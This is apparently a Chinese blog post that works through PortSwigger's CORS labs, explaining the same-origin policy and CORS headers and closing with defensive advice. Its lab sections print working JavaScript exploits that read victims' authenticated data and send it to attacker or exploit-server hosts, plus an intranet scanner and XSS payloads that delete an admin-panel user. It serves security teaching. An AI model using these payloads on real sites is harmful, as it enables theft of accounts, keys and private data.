侧边栏壁纸
博主头像
咿呀咿呀

你的脚步太乱,所以行程有限

  • 累计撰写 29 篇文章
  • 累计创建 4 个标签
  • 累计收到 2 条评论
标签搜索

跨域资源共享

咿呀咿呀
2022-04-16 / 0 评论 / 0 点赞 / 272 阅读 / 16,672 字
温馨提示:
本文最后更新于 2022-04-16,若内容或图片失效,请留言反馈。部分素材来自网络,若不小心影响到您的利益,请联系我们删除。

所有内容,来自burpsuite官方靶场(portswigger)

跨域资源共享(CORS)

image-20211019144302906

什么是CORS(跨域资源共享)?

​ 跨域资源共享 (CORS) 是一种浏览器机制,可以对位于给定域之外的资源进行受控访问。它扩展并增加了同源策略 ( SOP ) 的灵活性。但是,如果网站的 CORS 策略配置和实施不当,它也会提供基于跨域的攻击的可能性。CORS 不是针对跨站点请求伪造(CSRF)等跨源攻击的保护措施。

同源策略

​ 同源策略是一种限制性的跨域规范,它限制了网站与源域之外的资源进行交互的能力。同源策略是多年前定义的,以应对潜在的恶意跨域交互,例如一个网站从另一个网站窃取私人数据。它通常允许一个域向其他域发出请求,但不允许访问响应

什么是同源策略?

​ 同源策略是一种网络浏览器安全机制,旨在防止网站相互攻击。

​ 同源策略限制一个源上的脚本访问另一个源的数据。源由 URI 方案、域和端口号组成。例如,考虑以下 URL:

http://normal-website.com/example/example.html

​ 这将使用方案http、域normal-website.com和端口号80。下表显示了如果上述 URL 中的内容尝试访问其他来源,将如何应用同源策略:

访问的 URL 允许访问?
http://normal-website.com/example/ 是:相同的方案、域和端口
http://normal-website.com/example2/ 是:相同的方案、域和端口
https://normal-website.com/example/ 否:不同的方案和端口
http://en.normal-website.com/example/ 否:不同的域
http://www.normal-website.com/example/ 否:不同的域
http://normal-website.com:8080/example/ 否:不同的端口

Internet Explorer 将允许此访问,因为 IE 在应用同源策略时不考虑端口号。

为什么需要同源策略?

​ 当浏览器从一个源向另一个源发送 HTTP 请求时,与其他域相关的任何 cookie(包括身份验证会话 cookie)也作为请求的一部分发送。这意味着响应将在用户的会话中生成,并包括特定于用户的任何相关数据。在没有同源策略的情况下,如果您访问了恶意网站,它将能够读取您从 GMail 发送的电子邮件、从 Facebook 发送的私人消息等。

同源策略是如何实施的?

​ 同源策略通常控制 JavaScript 代码对跨域加载的内容的访问。页面资源的跨域加载通常是允许的。例如,SOP 允许通过<img>标签嵌入图像、通过标签嵌入媒体<video>以及通过标签包含 JavaScript <script>。然而,虽然页面可以加载这些外部资源,但页面上的任何 JavaScript 都无法读取这些资源的内容。

同源策略有多种例外情况:

  • 一些对象是可写但不可读的跨域,例如来自 iframe 或新窗口的location对象或location.href属性。
  • 有些对象跨域可读但不可写,例如对象的length属性window(存储页面上正在使用的帧数)和closed属性。
  • replace函数一般可以在location对象上跨域调用。
  • 可以跨域调用某些函数。例如,可以在新窗口上调用函数close,blurfocus。该postMessage函数还可以在 iframe 和新窗口上调用,以便将消息从一个域发送到另一个域。

由于旧有要求,在处理 cookie 时同源策略更加宽松,因此即使每个子域在技术上都是不同的来源,但通常可以从站点的所有子域访问它们。您可以使用HttpOnlycookie 标志部分降低这种风险。

可以使用document.domain. 此特殊属性允许放宽特定域的 SOP,但前提是它是FQDN(完全限定域名)的一部分。例如,可能有一个域,marketing.example.com并且想阅读该域的内容example.com。为此,两个域都需要设置document.domainexample.com. 然后 SOP 将允许两个域之间的访问,尽管它们的来源不同。过去,可以设置document.domain为 TLD,例如com,允许在同一 TLD 上的任何域之间进行访问,但现在现代浏览器阻止了这种情况。

放宽同源策略

​ 同源策略非常严格,因此设计了各种方法来规避这些限制。许多网站以需要完全跨域访问的方式与子域或第三方站点进行交互。使用跨域资源共享 (CORS) 可以控制放宽同源策略。

​ 跨源资源共享协议使用一组 HTTP 标头,这些标头定义了受信任的 Web 源和相关属性,例如是否允许经过身份验证的访问。这些组合在浏览器和它试图访问的跨域网站之间的标头交换中。

CORS 和 Access-Control-Allow-Origin 响应头

什么是 Access-Control-Allow-Origin 响应标头?

Access-Control-Allow-Origin报头被包括在从一个网站到其他网站的请求发起,并且识别请求的允许起源的响应。Web 浏览器将 Access-Control-Allow-Origin 与请求网站的来源进行比较,如果匹配,则允许访问响应。

实现简单的跨域资源共享

​ 跨域资源共享 (CORS) 规范规定了 Web 服务器和浏览器之间交换的标头内容,这些内容限制了源域之外的 Web 资源请求的来源。CORS 规范标识了Access-Control-Allow-Origin最重要的协议头的集合。当网站请求跨域资源时,该标头由服务器返回,Origin并由浏览器添加标头。

例如,假设一个带有 origin 的网站normal-website.com导致以下跨域请求:

GET /data HTTP/1.1
Host: robust-website.com
Origin : https://normal-website.com

服务器上robust-website.com返回以下响应:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://normal-website.com

浏览器将允许运行的代码normal-website.com访问响应,因为源匹配。

Access-Control-Allow-Origin允许多个来源、值null或通配符*。但是,没有浏览器支持多源,并且对通配符的使用有限制*

使用凭证处理跨源资源请求

跨域资源请求的默认行为是在没有凭据(如 cookie 和 Authorization 标头)的情况下传递请求。但是,跨域服务器可以通过将 CORSAccess-Control-Allow-Credentials标头设置为 true来允许在将凭据传递给它时读取响应。现在,如果请求网站使用 JavaScript 声明它正在随请求发送 cookie:

GET /data HTTP/1.1
Host: robust-website.com
...
Origin: https://normal-website.com
Cookie: JSESSIONID=<value>

对请求的响应是:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Credentials: true

然后浏览器将允许请求网站读取响应,因为Access-Control-Allow-Credentials响应标头设置为true。否则,浏览器将不允许访问响应。

使用通配符放宽CORS规范

​ 标头Access-Control-Allow-Origin支持通配符。例如:

Access-Control-Allow-Origin: *

幸运的是,从安全角度来看,通配符的使用在规范中受到限制,因为不能将通配符与凭证(身份验证、cookie 或客户端证书)的跨域传输结合使用。因此,以下形式的跨域服务器响应:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

不允许这样做,因为这会非常不安全,会将目标站点上的任何经过身份验证的内容暴露给所有人。

鉴于这些限制,一些 Web 服务器会Access-Control-Allow-Origin根据客户端指定的来源动态创建标头。这是不安全的 CORS 约束的解决方法。

Pre-flight Check

​ Pre-flight Check已添加到 CORS 规范中,以保护遗留资源免受 CORS 允许的扩展请求选项的影响。在某些情况下,当跨域请求包含非标准的 HTTP 方法或标头时,跨域请求之前是使用该OPTIONS方法的请求,并且 CORS 协议需要预先检查允许使用哪些方法和标头允许跨域请求。这称为Pre-flight Check。除了可信来源之外,服务器还返回一个允许的方法列表,浏览器会检查请求网站的方法是否被允许。

例如,这是一个飞Pre-flight Check,它试图将该PUT方法与名为 的自定义请求标头一起使用Special-Request-Header

OPTIONS /data HTTP/1.1
Host: <some website>
...
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header

服务器可能会返回如下响应:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240

此响应列出了允许的方法 ( PUT,POSTOPTIONS) 和允许的请求标头 ( Special-Request-Header)。在这种特殊情况下,跨域服务器还允许发送凭据,并且Access-Control-Max-Age标头定义了缓存Pre-flight响应以供重用的最大时间范围。如果允许请求方法和标头(如本示例中所示),则浏览器以通常的方式处理跨域请求。Pre-flight Check为跨域请求添加了额外的 HTTP 请求往返,因此它们增加了浏览开销。

CORS是否可以抵御CSRF?

​ CORS不提供针对跨站点请求伪造(CSRF)攻击的保护,这是一个常见的误解。

CORS是对同源策略的受控放宽,因此配置不当的CORS实际上可能会增加CSRF攻击的可能或加剧其影响。

在不使用CORS的情况下执行CSRF攻击的方法有很多种,包括简单的HTML表单和跨域资源包含

CORS配置问题导致的漏洞

​ 许多现代网站使用 CORS 来允许来自子域和受信任的第三方的访问。他们对 CORS 的实施可能包含错误或过于宽松以确保一切正常,这可能导致可利用的漏洞。

来自客户端制定的Origin标头的服务器生成的ACAO标头

​ 一些应用程序需要提供对许多其他域的访问。维护允许的域列表需要持续的努力,任何错误都有可能破坏功能。因此,某些应用程序采取了有效允许来自任何其他域的访问的简单途径。

​ 一种方法是从请求中读取 Origin 标头并包含一个响应标头,说明请求源是被允许的。例如,考虑一个接收以下请求的应用程序:

GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...

然后它响应:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...

​ 这些标头声明允许来自请求域 ( malicious-website.com) 的访问,并且跨域请求可以包含 cookie ( Access-Control-Allow-Credentials: true),因此将在会话中进行处理。

​ 因为应用程序在Access-Control-Allow-Origin头中反映了任意来源,这意味着绝对任何域都可以从易受攻击的域访问资源。如果响应包含任何敏感信息,例如 API 密钥或CSRF 令牌,您可以通过在您的网站上放置以下脚本来检索它:

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
	location='//malicious-website.com/log?key='+this.responseText;
	};
LAB:具有基本源反射的CORS漏洞

image-20211019152201807

​ 响应包含Access-Control-Allow-Credentials表明它可能支持 CORS的标头

image-20211019152302165

添加Origin: https://example.com 标头

<script>
   var req = new XMLHttpRequest();
   req.onload = reqListener;
   req.open('get','https://ac8d1fab1e2ef7a2c0d190f800ea002f.web-security-academy.net/accountDetails',true);
   req.withCredentials = true;
   req.send();

   function reqListener() {
       location='https://exploit-ac561f601e8df779c09090d201720060.web-security-academy.net/log?key='+this.responseText;
   };
</script>

image-20211019160829332

解析Origin标头时出错

​ 一些支持从多个来源访问的应用程序通过使用允许来源的白名单来实现。当收到 CORS 请求时,将提供的来源与白名单进行比较。如果源出现在白名单中,则它会反映在Access-Control-Allow-Origin标题中,以便授予访问权限。例如,应用程序收到一个正常的请求,如:

GET /data HTTP/1.1
Host: normal-website.com
...
Origin: https://innocent-website.com

应用程序根据其允许的来源列表检查提供的来源,如果它在列表中,则按如下方式反映来源:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://innocent-website.com

​ 实施 CORS 源白名单时经常会出现错误。一些组织决定允许从其所有子域(包括未来尚不存在的子域)进行访问。并且某些应用程序允许从各种其他组织的域(包括其子域)进行访问。这些规则通常通过匹配 URL 前缀或后缀,或使用正则表达式来实现。实施中的任何错误都可能导致访问被授予非预期的外部域。

例如,假设一个应用程序授予对所有以以下结尾的域的访问权限:

normal-website.com

攻击者可能能够通过注册域来获得访问权限:

hackersnormal-website.com

或者,假设应用程序授予对所有以

normal-website.com

攻击者可能能够使用域获得访问权限:

normal-website.com.evil-user.net
白名单空原值

Origin 标头的规范支持值null。浏览器可能会null在各种异常情况下发送Origin 标头中的值:

  • 跨站重定向。
  • 来自序列化数据的请求。
  • 使用file:协议请求。
  • 沙盒跨域请求。

某些应用程序可能会将源列入白名单null以支持应用程序的本地开发。例如,假设一个应用程序收到以下跨域请求:

GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: null

服务器响应:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

在这种情况下,攻击者可以使用各种技巧来生成包含nullOrigin 标头中的值的跨域请求。这将满足白名单,导致跨域访问。例如,这可以使用以下形式的沙盒iframe跨域请求来完成:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>
LAB:具有可信空源的CORS漏洞

image-20211019155147123

image-20211019155236041

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html, <script>
   var req = new XMLHttpRequest ();
   req.onload = reqListener;
   req.open('get','https://ac4b1f1b1e397771c04d110400330060.web-security-academy.net/accountDetails',true);
   req.withCredentials = true;
   req.send();

   function reqListener() {
       location='https://exploit-acbe1f181e117793c0d2118101a900ce.web-security-academy.net/log?key='+encodeURIComponent(this.responseText);
   };
</script>"></iframe>
通过CORS信任关系 利用XSS

​ 即使“正确”配置的 CORS 也会在两个源之间建立信任关系。如果网站信任易受跨站点脚本 ( XSS ) 攻击的源,则攻击者可以利用 XSS 注入一些 JavaScript,这些 JavaScript 使用 CORS 从信任易受攻击的应用程序的站点检索敏感信息。

鉴于以下请求:

GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: https://subdomain.vulnerable-website.com
Cookie: sessionid=...

如果服务器响应:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true

然后,发现 XSS 漏洞的攻击者subdomain.vulnerable-website.com可以使用它来检索 API 密钥,使用的 URL 如下:

https://subdomain.vulnerable-website.com/?xss=<script>cors-stuff-here</script>
使用配置不当的CORS破坏TLS

​ 假设严格使用 HTTPS 的应用程序还将使用纯 HTTP 的受信任子域列入白名单。例如,当应用程序收到以下请求时:

GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: http://trusted-subdomain.vulnerable-website.com
Cookie: sessionid=...

应用程序响应:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true

在这种情况下,能够拦截受害者用户流量的攻击者可以利用 CORS 配置来破坏受害者与应用程序的交互。此攻击包括以下步骤:

  • 受害用户发出任何普通的 HTTP 请求。
  • 攻击者注入重定向到: http://trusted-subdomain.vulnerable-website.com
  • 受害者的浏览器遵循重定向。
  • 攻击者拦截纯 HTTP 请求,并将包含 CORS 请求的欺骗响应返回到: https://vulnerable-website.com
  • 受害者的浏览器发出 CORS 请求,包括来源: http://trusted-subdomain.vulnerable-website.com
  • 应用程序允许请求,因为这是列入白名单的来源。请求的敏感数据在响应中返回。
  • 攻击者的欺骗页面可以读取敏感数据并将其传输到攻击者控制下的任何域。

即使易受攻击的网站在使用 HTTPS 时很健壮,没有 HTTP 端点并且所有 cookie 都标记为安全,这种攻击也是有效的。

LAB:具有可信不安全协议的CORS漏洞

image-20211019161616875

image-20211019161729010

image-20211019161915954

库存信息使用的子域上的http url加载的

<script>
   document.location="http://stock.acdd1fe11f7f41dcc060241b007e0062.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://acdd1fe11f7f41dcc060241b007e0062.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://exploit-ac421fa41f98412ec09224ff01da00cc.web-security-academy.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>

image-20211019162241249

无需凭据的 Intranet 和 CORS

大多数 CORS 攻击依赖于响应头的存在:

Access-Control-Allow-Credentials: true

​ 如果没有该标头,受害用户的浏览器将拒绝发送他们的 cookie,这意味着攻击者将只能访问未经身份验证的内容,他们可以通过直接浏览目标网站轻松访问这些内容。

​ 但是,有一种常见的情况是攻击者无法直接访问网站:当它是组织内部网的一部分并且位于私有 IP 地址空间内时。内部网站的安全标准通常低于外部网站,这使攻击者能够发现漏洞并获得进一步的访问权限。例如,私有网络内的跨域请求可能如下:

GET /reader?url=doc1.pdf
Host: intranet.normal-website.com
Origin: https://normal-website.com

服务器响应:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *

​ 应用程序服务器信任来自任何来源的资源请求,无需凭据。如果私有 IP 地址空间内的用户访问公共互联网,则可以从外部站点执行基于 CORS 的攻击,该站点使用受害者的浏览器作为访问 Intranet 资源的代理。

LAB:带有内部网络枢纽攻击的CORS漏洞
  • 探测主机
<script>
var q = [], collaboratorURL = 'exploit-acbc1fe71ec59eb2c076408901c5008d.web-security-academy.net';
for(i=1;i<=255;i++){
  q.push(
  function(url){
    return function(wait){
    fetchUrl(url,wait);
    }
  }('http://192.168.0.'+i+':8080'));
}
for(i=1;i<=20;i++){
  if(q.length)q.shift()(i*100);
}
function fetchUrl(url, wait){
  var controller = new AbortController(), signal = controller.signal;
  fetch(url, {signal}).then(r=>r.text().then(text=>
    {
    location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
  }
  ))
  .catch(e => {
  if(q.length) {
    q.shift()(wait);
  }
  });
  setTimeout(x=>{
  controller.abort();
  if(q.length) {
    q.shift()(wait);
  }
  }, wait);
}
</script>

结果:

ip=192.168.0.187:8080&code=<!DOCTYPE html>
<html>
    <head>
        <link href=/resources/labheader/css/academyLabHeader.css rel=stylesheet>
        <link href=/resources/css/labs.css rel=stylesheet>
        <title>CORS vulnerability with internal network pivot attack</title>
    </head>
    <body>
        <script src="/resources/labheader/js/labHeader.js"></script>
        oPuXdBcLSrALhCQV2RpbYDvQhpmhXbnqh
        <div theme="">
            <section class="maincontainer">
                <div class="container is-page">
                    <header class="navigation-header">
                        <section class="top-links">
                            <a href=/>Home</a><p>|</p>
                            <a href="/my-account">My account</a><p>|</p>
                        </section>
                    </header>
                    <header class="notification-header">
                    </header>
                    <h1>Login</h1>
                    <section>
                        <form class=login-form method=POST action=/login>
                            <input required type="hidden" name="csrf" value="VSxFXoapdH1kiqRlvWRdlysCs3CB0Tg4">
                            <label>Username</label>
                            <input required type=username name="username">
                            <label>Password</label>
                            <input required type=password name="password">
                            <button class=button type=submit> Log in </button>
                        </form>
                    </section>
                </div>
            </section>
        </div>
    </body>
</html>
&1634647543196 HTTP/1.1" 404 "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36"
  • 进入管理页面删除账号
#探测XSS漏洞的用户名字段
<script>
function xss(url, text, vector) {
  location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}

function fetchUrl(url, collaboratorURL){
  fetch(url).then(r=>r.text().then(text=>
  {
    xss(url, text, '"><img src='+collaboratorURL+'?foundXSS=1>');
  }
  ))
}

fetchUrl("http://$ip", "http://$collaboratorPayload");
</script>

--------------------------------------------------
fetchUrl("http://192.168.0.187:8080", "http://exploit-accc1fe41e0aa1cfc0c07b30014000c4.web-security-academy.net");


#得到管理页面的源码
<script>
function xss(url, text, vector) {
  location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}
function fetchUrl(url, collaboratorURL){
  fetch(url).then(r=>r.text().then(text=>
  {
    xss(url, text, '"><iframe src=/admin onload="new Image().src=\''+collaboratorURL+'?code=\'+encodeURIComponent(this.contentWindow.document.body.innerHTML)">');
  }
  ))
}

fetchUrl("http://$ip", "http://$collaboratorPayload");
</script>
/////////////////////////////////////////////
code=
        <script src="/resources/labheader/js/labHeader.js"></script>
        oPuXdBcLSrALhCQV2RpbYDvQhpmhXbnqh
        <div theme="">
            <section class="maincontainer">
                <div class="container is-page">
                    <header class="navigation-header">
                        <section class="top-links">
                            <a href="/">Home</a><p>|</p>
                            <a href="/admin">Admin panel</a><p>|</p>
                            <a href="/my-account?id=administrator">My account</a><p>|</p>
                        </section>
                    </header>
                    <header class="notification-header">
                    </header>
                    <form style="margin-top: 1em" class="login-form" action="/admin/delete" method="POST">
                        <input required="" type="hidden" name="csrf" value="uWfvb5ybpzuqn23vKL3RbWp3mT9QJpkr">
                        <label>Username</label>
                        <input required="" type="text" name="username">
                        <button class="button" type="submit">Delete user</button>
                    </form>
                </div>
            </section>
        </div>
    

 HTTP/1.1" 200 "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36"

#删除用户
<script>
function xss(url, text, vector) {
  location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}

function fetchUrl(url){
  fetch(url).then(r=>r.text().then(text=>
  {
    xss(url, text, '"><iframe src=/admin onload="var f=this.contentWindow.document.forms[0];if(f.username)f.username.value=\'carlos\',f.submit()">');
  }
  ))
}

fetchUrl("http://$ip");
</script>

image-20211019210138611

如何防止基于CORS的攻击

​ CORS漏洞主要是因为配置错误。因此,预防是一个配置问题。以下部分描述了一些针对CORS攻击的有效防御。

正确配置跨域请求

​ 如果 Web 资源包含敏感信息,则应在Access-Control-Allow-Origin标头中正确指定来源。

只允许受信任的站点

​ 这似乎很明显,但Access-Control-Allow-Origin标头中指定的来源应该仅是受信任的站点。特别是,动态地反映来自跨域请求而无需验证的来源很容易被利用,应该避免。

避免将空值列入白名单

​ 避免使用标题Access-Control-Allow-Origin: null。来自内部文档和沙盒请求的跨域资源调用可以指定null来源。应根据私有和公共服务器的可信来源正确定义 CORS 标头。

CORS不能代替服务端安全策略

​ CORS 定义了浏览器行为,永远不能替代敏感数据的服务器端保护——攻击者可以直接伪造来自任何可信来源的请求。因此,除了正确配置的 CORS 之外,Web 服务器还应继续对敏感数据应用保护,例如身份验证和会话管理。

0

评论区